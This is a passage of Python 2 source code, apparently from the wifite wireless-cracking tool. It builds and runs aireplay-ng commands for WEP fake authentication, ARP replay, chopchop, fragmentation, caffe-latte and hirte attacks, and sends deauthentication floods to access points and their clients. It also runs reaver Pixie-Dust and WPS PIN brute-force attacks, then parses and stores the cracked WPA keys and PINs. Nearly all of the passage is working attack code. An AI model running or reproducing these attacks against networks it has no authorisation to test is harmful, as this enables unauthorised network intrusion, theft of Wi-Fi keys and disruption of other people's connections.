  2945. print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  2946.  
  2947. # Remove files generated by airodump/aireplay/packetforce
  2948. for filename in os.listdir('.'):
  2949. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2950. remove_file(filename)
  2951. remove_airodump_files(file_prefix)
  2952. remove_file(wepkey_file)
  2953. print ''
  2954. if response == 'e':
  2955. self.RUN_CONFIG.exit_gracefully(0)
  2956. return
  2957.  
  2958. elif response == 'c':
  2959. # Continue attacks
  2960. # Need to backup temp/wep-01.cap and remove airodump files
  2961. i = 2
  2962. while os.path.exists(os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')):
  2963. i += 1
  2964. new_cap_file = os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')
  2965. copy(cap_file, new_cap_file)
  2966. remove_airodump_files(file_prefix)
  2967.  
  2968. # Need to restart airodump-ng, as it's been interrupted/killed
  2969. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  2970.  
  2971. # Say we haven't started cracking yet, so we re-start if needed.
  2972. started_cracking = False
  2973.  
  2974. # Reset IVs counters for proper behavior
  2975. total_ivs += ivs
  2976. ivs = 0
  2977. last_ivs = 0
  2978.  
  2979. # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  2980. pass
  2981.  
  2982. if successful:
  2983. print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  2984. else:
  2985. print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  2986.  
  2987. send_interrupt(proc_airodump)
  2988. if proc_aireplay != None:
  2989. send_interrupt(proc_aireplay)
  2990.  
  2991. # Remove files generated by airodump/aireplay/packetforce
  2992. for filename in os.listdir('.'):
  2993. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2994. remove_file(filename)
  2995. remove_airodump_files(file_prefix)
  2996. remove_file(wepkey_file)
  2997.  
  2998. def wep_fake_auth(self, iface, target, time_to_display):
  2999. """
  3000. Attempt to (falsely) authenticate with a WEP access point.
  3001. Gives 3 seconds to make each 5 authentication attempts.
  3002. Returns True if authentication was successful, False otherwise.
  3003. """
  3004. max_wait = 3 # Time, in seconds, to allow each fake authentication
  3005. max_attempts = 5 # Number of attempts to make
  3006.  
  3007. for fa_index in xrange(1, max_attempts + 1):
  3008. print '\r ',
  3009. print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  3010. (GR + time_to_display + W, G, W, fa_index, max_attempts),
  3011. stdout.flush()
  3012.  
  3013. cmd = ['aireplay-ng',
  3014. '--ignore-negative-one',
  3015. '-1', '0', # Fake auth, no delay
  3016. '-a', target.bssid,
  3017. '-T', '1'] # Make 1 attempt
  3018. if target.ssid != '':
  3019. cmd.append('-e')
  3020. cmd.append(target.ssid)
  3021. cmd.append(iface)
  3022.  
  3023. proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  3024. started = time.time()
  3025. while proc_fakeauth.poll() == None and time.time() - started <= max_wait:
  3026. time.sleep(0.1)
  3027.  
  3028. if time.time() - started > max_wait:
  3029. send_interrupt(proc_fakeauth)
  3030. print R + 'failed' + W,
  3031. stdout.flush()
  3032. time.sleep(0.5)
  3033. continue
  3034.  
  3035. result = proc_fakeauth.communicate()[0].lower()
  3036. if result.find('switching to shared key') != -1 or \
  3037. result.find('rejects open system'): pass
  3038. if result.find('association successful') != -1:
  3039. print G + 'success!' + W
  3040. return True
  3041.  
  3042. print R + 'failed' + W,
  3043. stdout.flush()
  3044. time.sleep(0.5)
  3045. continue
  3046. print ''
  3047. return False
  3048.  
  3049. def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  3050. """
  3051. Returns aireplay-ng command line arguments based on parameters.
  3052. """
  3053. cmd = ''
  3054. if attack_num == 0:
  3055. cmd = ['aireplay-ng',
  3056. '--ignore-negative-one',
  3057. '--arpreplay',
  3058. '-b', target.bssid,
  3059. '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
  3060. if client_mac != '':
  3061. cmd.append('-h')
  3062. cmd.append(client_mac)
  3063. elif len(clients) > 0:
  3064. cmd.append('-h')
  3065. cmd.append(clients[0].bssid)
  3066. cmd.append(iface)
  3067.  
  3068. elif attack_num == 1:
  3069. cmd = ['aireplay-ng',
  3070. '--ignore-negative-one',
  3071. '--chopchop',
  3072. '-b', target.bssid,
  3073. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3074. '-m', '60', # Minimum packet length (bytes)
  3075. '-n', '82', # Maxmimum packet length
  3076. '-F'] # Automatically choose the first packet
  3077. if client_mac != '':
  3078. cmd.append('-h')
  3079. cmd.append(client_mac)
  3080. elif len(clients) > 0:
  3081. cmd.append('-h')
  3082. cmd.append(clients[0].bssid)
  3083. cmd.append(iface)
  3084.  
  3085. elif attack_num == 2:
  3086. cmd = ['aireplay-ng',
  3087. '--ignore-negative-one',
  3088. '--fragment',
  3089. '-b', target.bssid,
  3090. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3091. '-m', '100', # Minimum packet length (bytes)
  3092. '-F'] # Automatically choose the first packet
  3093. if client_mac != '':
  3094. cmd.append('-h')
  3095. cmd.append(client_mac)
  3096. elif len(clients) > 0:
  3097. cmd.append('-h')
  3098. cmd.append(clients[0].bssid)
  3099. cmd.append(iface)
  3100.  
  3101. elif attack_num == 3:
  3102. cmd = ['aireplay-ng',
  3103. '--ignore-negative-one',
  3104. '--caffe-latte',
  3105. '-b', target.bssid]
  3106. if len(clients) > 0:
  3107. cmd.append('-h')
  3108. cmd.append(clients[0].bssid)
  3109. cmd.append(iface)
  3110.  
  3111. elif attack_num == 4:
  3112. cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  3113. 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  3114.  
  3115. elif attack_num == 5:
  3116. if len(clients) == 0:
  3117. print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  3118. return ''
  3119. cmd = ['aireplay-ng',
  3120. '--ignore-negative-one',
  3121. '--cfrag',
  3122. '-h', clients[0].bssid,
  3123. iface]
  3124.  
  3125. return cmd
  3126.  
  3127. def wep_send_deauths(self, iface, target, clients):
  3128. """
  3129. Sends deauth packets to broadcast and every client.
  3130. """
  3131. # Send deauth to broadcast
  3132. cmd = ['aireplay-ng',
  3133. '--ignore-negative-one',
  3134. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3135. '-a', target.bssid,
  3136. iface]
  3137. call(cmd, stdout=DN, stderr=DN)
  3138. # Send deauth to every client
  3139. for client in clients:
  3140. cmd = ['aireplay-ng',
  3141. '--ignore-negative-one',
  3142. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3143. '-a', target.bssid,
  3144. '-c', client.bssid,
  3145. iface]
  3146. call(cmd, stdout=DN, stderr=DN)
  3147.  
  3148.  
  3149. #################
  3150. # WPS FUNCTIONS #
  3151. #################
  3152. class WPSAttack(Attack):
  3153. def __init__(self, iface, target, config):
  3154. self.iface = iface
  3155. self.target = target
  3156. self.RUN_CONFIG = config
  3157.  
  3158. def RunAttack(self):
  3159. '''
  3160. Abstract method for initializing the WPS attack
  3161. '''
  3162. if self.is_pixie_supported():
  3163. # Try the pixie-dust attack
  3164. if self.attack_wps_pixie():
  3165. # If it succeeds, stop
  3166. return True
  3167.  
  3168. # Drop out if user specified to run ONLY the pixie attack
  3169. if self.RUN_CONFIG.PIXIE:
  3170. return False
  3171.  
  3172. # Try the WPS PIN attack
  3173. return self.attack_wps()
  3174.  
  3175. def EndAttack(self):
  3176. '''
  3177. Abstract method for ending the WPS attack
  3178. '''
  3179. pass
  3180.  
  3181. def is_pixie_supported(self):
  3182. '''
  3183. Checks if current version of Reaver supports the pixie-dust attack
  3184. '''
  3185. p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
  3186. stdout = p.communicate()[1]
  3187. for line in stdout.split('\n'):
  3188. if '--pixie-dust' in line:
  3189. return True
  3190. return False
  3191.  
  3192. def attack_wps_pixie(self):
  3193. """
  3194. Attempts "Pixie WPS" attack which certain vendors
  3195. susceptible to.
  3196. """
  3197.  
  3198. # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
  3199. # If not, return False
  3200.  
  3201. output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
  3202. pixie_file = os.path.join(self.RUN_CONFIG.temp, 'pixie.out')
  3203.  
  3204. print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
  3205. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3206. cmd = ['reaver',
  3207. '-i', self.iface,
  3208. '-b', self.target.bssid,
  3209. '-c', self.target.channel,
  3210. '-K', '1', # Pixie WPS attack
  3211. '-vv'] # verbose output
  3212.  
  3213. # Redirect output to files
  3214. outf = open(output_file, 'a')
  3215. errf = open(pixie_file, 'a')
  3216.  
  3217. # Start process
  3218. proc = Popen(cmd, stdout=outf, stderr=errf)
  3219.  
  3220. cracked = False # Flag for when password/pin is found
  3221. time_started = time.time()
  3222. pin = ''
  3223. key = ''
  3224.  
  3225. try:
  3226. while not cracked:
  3227. time.sleep(1)
  3228. errf.flush()
  3229. if proc.poll() != None:
  3230. # Process stopped: Cracked? Failed?
  3231. errf.close()
  3232. inf = open(output_file, 'r')
  3233. lines = inf.read().split('\n')
  3234. inf.close()
  3235. for line in lines:
  3236. # Cracked: older pixiewps/reaver output
  3237. if line.find("WPS PIN: '") != -1:
  3238. pin = line[line.find("WPS PIN: '") + 10:-1]
  3239. cracked = True
  3240. if line.find("WPA PSK: '") != -1:
  3241. key = line[line.find("WPA PSK: '") + 10:-1]
  3242.  
  3243. # Cracked: Newer pixiewps output
  3244. if line.find("WPS pin: ") != -1:
  3245. pin = line[line.find("WPS pin: ") + 10:]
  3246. cracked = True
  3247. if line.find("WPA PSK: ") != -1:
  3248. key = line[line.find("WPA PSK: ") + 10:]
  3249.  
  3250. # Failed:
  3251. if 'Pixie-Dust' in line and 'WPS pin not found' in line:
  3252. # PixieDust isn't possible on this router
  3253. print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
  3254. break
  3255. break
  3256.  
  3257. # (Reaver is still running)
  3258.  
  3259. print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
  3260.  
  3261. # Check if there's an output file to parse
  3262. if not os.path.exists(output_file): continue
  3263. inf = open(output_file, 'r')
  3264. lines = inf.read().split('\n')
  3265. inf.close()
  3266.  
  3267. output_line = ''
  3268. for line in lines:
  3269. line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
  3270. if line == '' or line == ' ' or line == '\t': continue
  3271. if len(line) > 50:
  3272. # Trim to a reasonable size
  3273. line = line[0:47] + '...'
  3274. output_line = line
  3275.  
  3276. if 'Sending M2 message' in output_line:
  3277. # At this point in the Pixie attack, all output is via stderr
  3278. # We have to wait for the process to finish to see the result.
  3279. print O, 'sending M2 message (may take a while)... ', W,
  3280. elif output_line != '':
  3281. # Print the last message from reaver as a "status update"
  3282. print C, output_line, W, ' ' * (50 - len(output_line)),
  3283.  
  3284. stdout.flush()
  3285.  
  3286. # Clear out output file
  3287. inf = open(output_file, 'w')
  3288. inf.close()
  3289.  
  3290. # End of big "while not cracked" loop
  3291. if cracked:
  3292. if pin != '':
  3293. print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3294.  
  3295. if key != '':
  3296. print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3297. else:
  3298. key = 'N/A'
  3299.  
  3300. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3301. G + self.target.ssid + W, C + key + W, C + pin + W))
  3302. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3303.  
  3304. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3305. t.key = key
  3306. t.wps = pin
  3307. self.RUN_CONFIG.save_cracked(t)
  3308. else:
  3309. print GR + '\n [+]' + R + ' Attack failed.' + W
  3310.  
  3311. except KeyboardInterrupt:
  3312. print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
  3313. if attack_interrupted_prompt():
  3314. send_interrupt(proc)
  3315. print ''
  3316. self.RUN_CONFIG.exit_gracefully(0)
  3317.  
  3318. send_interrupt(proc)
  3319.  
  3320. # Delete the files
  3321. if os.path.exists(output_file): os.remove(output_file)
  3322. if os.path.exists(pixie_file): os.remove(pixie_file)
  3323.  
  3324. return cracked
  3325.  
  3326.  
  3327. def attack_wps(self):
  3328. """
  3329. Mounts attack against target on iface.
  3330. Uses "reaver" to attempt to brute force the PIN.
  3331. Once PIN is found, PSK can be recovered.
  3332. PSK is displayed to user and added to WPS_FINDINGS
  3333. """
  3334. print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  3335. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3336.  
  3337. output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
  3338. cmd = ['reaver',
  3339. '-i', self.iface,
  3340. '-b', self.target.bssid,
  3341. '-o', output_file, # Dump output to file to be monitored
  3342. '-c', self.target.channel,
  3343. '-vv'] # verbose output
  3344. proc = Popen(cmd, stdout=DN, stderr=DN)
  3345.  
  3346. cracked = False # Flag for when password/pin is found
  3347. percent = 'x.xx%' # Percentage complete
  3348. aps = 'x' # Seconds per attempt
  3349. time_started = time.time()
  3350. last_success = time_started # Time of last successful attempt
  3351. last_pin = '' # Keep track of last pin tried (to detect retries)
  3352. retries = 0 # Number of times we have attempted this PIN
  3353. tries_total = 0 # Number of times we have attempted all pins
  3354. tries = 0 # Number of successful attempts
  3355. pin = ''
  3356. key = ''
  3357.  
  3358. try:
  3359. while not cracked:
  3360. time.sleep(1)
  3361.  
  3362. if not os.path.exists(output_file): continue
  3363.  
  3364. if proc.poll() != None:
  3365. # Process stopped: Cracked? Failed?
  3366. inf = open(output_file, 'r')
  3367. lines = inf.read().split('\n')
  3368. inf.close()
  3369. for line in lines:
  3370. # When it's cracked:
  3371. if line.find("WPS PIN: '") != -1:
  3372. pin = line[line.find("WPS PIN: '") + 10:-1]
  3373. cracked = True
  3374. if line.find("WPA PSK: '") != -1:
  3375. key = line[line.find("WPA PSK: '") + 10:-1]
  3376.  
  3377. break
  3378.  
  3379. inf = open(output_file, 'r')
  3380. lines = inf.read().split('\n')
  3381. inf.close()
  3382.  
  3383. for line in lines:
  3384. if line.strip() == '': continue
  3385. # Status
  3386. if line.find(' complete @ ') != -1 and len(line) > 8:
  3387. percent = line.split(' ')[1]
  3388. i = line.find(' (')
  3389. j = line.find(' seconds/', i)
  3390. if i != -1 and j != -1: aps = line[i + 2:j]
  3391. # PIN attempt
  3392. elif line.find(' Trying pin ') != -1:
  3393. pin = line.strip().split(' ')[-1]
  3394. if pin == last_pin:
  3395. retries += 1
  3396. elif tries_total == 0:
  3397. last_pin = pin
  3398. tries_total -= 1
  3399. else:
  3400. last_success = time.time()
  3401. tries += 1
  3402. last_pin = pin
  3403. retries = 0
  3404. tries_total += 1
  3405.  
  3406. # Warning
  3407. elif line.endswith('10 failed connections in a row'):
  3408. pass
  3409.  
  3410. # Check for PIN/PSK
  3411. elif line.find("WPS PIN: '") != -1:
  3412. pin = line[line.find("WPS PIN: '") + 10:-1]
  3413. cracked = True
  3414. elif line.find("WPA PSK: '") != -1:
  3415. key = line[line.find("WPA PSK: '") + 10:-1]
  3416. if cracked: break
  3417.  
  3418. print ' %s WPS attack, %s success/ttl,' % \
  3419. (GR + sec_to_hms(time.time() - time_started) + W, \
  3420. G + str(tries) + W + '/' + O + str(tries_total) + W),
  3421.  
  3422. if percent == 'x.xx%' and aps == 'x':
  3423. print '\r',
  3424. else:
  3425. print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
  3426.  
  3427. if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3428. print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3429. self.RUN_CONFIG.WPS_TIMEOUT)
  3430. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3431. break
  3432.  
  3433. if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3434. print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3435. self.RUN_CONFIG.WPS_MAX_RETRIES)
  3436. print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3437. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3438. break
  3439.  
  3440. if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3441. float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3442. print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3443. self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3444. print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3445. break
  3446.  
  3447. stdout.flush()
  3448. # Clear out output file if bigger than 1mb
  3449. inf = open(output_file, 'w')
  3450. inf.close()
  3451.  
  3452. # End of big "while not cracked" loop
  3453.  
  3454. if cracked:
  3455. if pin != '':
  3456. print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3457. if key != '':
  3458. print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3459. else:
  3460. key = 'N/A'
  3461. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3462. G + self.target.ssid + W, C + key + W, C + pin + W))
  3463. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3464.  
  3465. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3466. t.key = key
  3467. t.wps = pin
  3468. self.RUN_CONFIG.save_cracked(t)
  3469.  
  3470. except KeyboardInterrupt:
  3471. print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3472. if attack_interrupted_prompt():
  3473. send_interrupt(proc)
  3474. print ''
  3475. self.RUN_CONFIG.exit_gracefully(0)
  3476.  
  3477. send_interrupt(proc)
  3478.  
  3479. return cracked
  3480.  
  3481.  
  3482. if __name__ == '__main__':
  3483. RUN_CONFIG = RunConfiguration()
  3484. try:
  3485. banner(RUN_CONFIG)
  3486. engine = RunEngine(RUN_CONFIG)
  3487. engine.Start()
  3488. #main(RUN_CONFIG)
  3489. except KeyboardInterrupt:
  3490. print R + '\n (^C)' + O + ' interrupted\n' + W
  3491. except EOFError:
  3492. print R + '\n (^D)' + O + ' interrupted\n' + W
  3493.  
  3494. RUN_CONFIG.exit_gracefully(0)
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